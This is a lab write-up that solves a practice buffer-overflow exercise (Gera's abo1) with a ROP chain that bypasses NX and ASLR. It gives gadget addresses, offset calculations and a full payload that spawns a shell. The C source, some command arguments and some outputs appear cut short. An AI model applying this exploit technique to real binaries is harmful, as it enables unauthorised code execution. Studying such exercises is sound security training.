Gera's Insecure Programming Advance Buffer Overflow #1 (ROP NX/ASLR Bypass)

After my last post, I decided to go straight into the Advance Buffer Overflow (ABO) section and practice more ROP. The first ABO exercise was a straight-forward buffer overflow.

ABO #1 source code:

/* abo1.c                                       *
 * specially crafted to feed your brain by gera */

/* Dumb example to let you get introduced...    */

int main(int argv,char **argc) {
	char buf[256];


The environment, as usual, was Debian 2.6.32 with NX and ASLR enabled. The binary can be found here.

lixor@debian:~$ uname -a
Linux debian 2.6.32-5-686-bigmem #1 SMP Thu Nov 3 05:12:00 UTC 2011 i686 GNU/Linux

The technique that will be used throughout this post is known as “GOT dereferencing.” For the interested reader, you can read about the technique here.

The return address can be found at 268 bytes.

lixor@debian:~/InsecureProgramming/abo1$ ./abo1 $(ruby -e 'print "A"*256 +"BBBBCCCCDDDDEEEE"')
Segmentation fault (core dumped)
lixor@debian:~/InsecureProgramming/abo1$ gdb -q -nx -batch abo1 core

warning: Can't read pathname for load map: Input/output error.
Program terminated with signal 11, Segmentation fault.
#0  0x45454545 in ?? ()

I needed the use of two functions for this technique: the targeted function and the pivot function. I used VNSECURITY ROPEME tool to search for gadgets. The binary was rather small so finding certain gadgets was difficult. I was able to find some useful gadgets. The entire gadget list can be found here.

(1) 0x8048392L: pop ebx ; pop ebp ;;
(2) 0x804838bL: xchg ebp eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
(1) 0x8048392L: pop ebx ; pop ebp ;;
(3) 0x804847eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;
(4) 0x80483bfL: call eax ; leave ;;

I needed to perform some dummy calculations for (2) and (3). Gadget (2) accesses a memory location. EBX must be a valid memory location minus 0x5d5b04c4 (to obtain the intended address). A valid location can be found at the relocation table. I chose 0x080495a8 (gmon_start) for the first EBX in (2) and 0x080495b0 (strcpy) for the second one in (3).

lixor@debian:~/InsecureProgramming/abo1$ readelf -r abo1
080495a8  00000107 R_386_JUMP_SLOT   00000000   __gmon_start__
080495b0  00000307 R_386_JUMP_SLOT   00000000   strcpy

The calculations for (2) and (3) are simple as shown:

#first dummy value for ebx
lixor@debian:~/InsecureProgramming/abo1$ perl -e 'printf "%x\n", 0x080495a8-0x5d5b04c4 '
#real value
lixor@debian:~/InsecureProgramming/abo1$ perl -e 'printf "%x\n", 0x080495b0 + 0xb8a0008 '

Next, I performed the calculations for the EAX register. EAX will have the offset between system() and strcpy() minus 8 for (2).

lixor@debian:~/InsecureProgramming/abo1$ objdump -T /lib/i686/cmov/ | egrep ' strcpy$|system$'
00072ea0 g    DF .text	00000023  GLIBC_2.0   strcpy
00039180 g    DF .text	0000007d  GLIBC_PRIVATE __libc_system
00039180  w   DF .text	0000007d  GLIBC_2.0   system
lixor@debian:~/InsecureProgramming/abo1$ perl -e 'printf "%x\n", 0x00039180-0x00072ea0 - 0x8'

Here is a general summary of important values:

1st dummy ebx = 0xaaa990e4
eax = 0xfffc62d8
ebx = 0x138e95b8

The last step was to find a string for system(). A safe option (like in my last post) was to use the string “GNU” from at 0x08048154.

lixor@debian:~/InsecureProgramming/abo1$ readelf -x abo1

Hex dump of section '':
  0x08048148 04000000 14000000 03000000 474e5500 ............GNU.
  0x08048158 abf92e7c f0e973e4 86c3ba84 9d7a7142 ...|..s......zqB
  0x08048168 7122ec44                            q".D

With that, the exercise was completed:

lixor@debian:~/InsecureProgramming/abo1$ ln -s /bin/sh GNU
lixor@debian:~/InsecureProgramming/abo1$ export PATH=.:$PATH
lixor@debian:~/InsecureProgramming/abo1$ ./abo1 $(perl -e 'print "A"x268 ."\x92\x83\x04\x08\xe4\x90\xa9\xaa\xd8\x62\xfc\xff\x8b\x83\x04\x08\x92\x83\x04\x08\xb8\x95\x8e\x13AAAA\x7e\x84\x04\x08MOVEPOPPPOPP\xbf\x83\x04\x08\x54\x81\x04\x08"')
$ whoami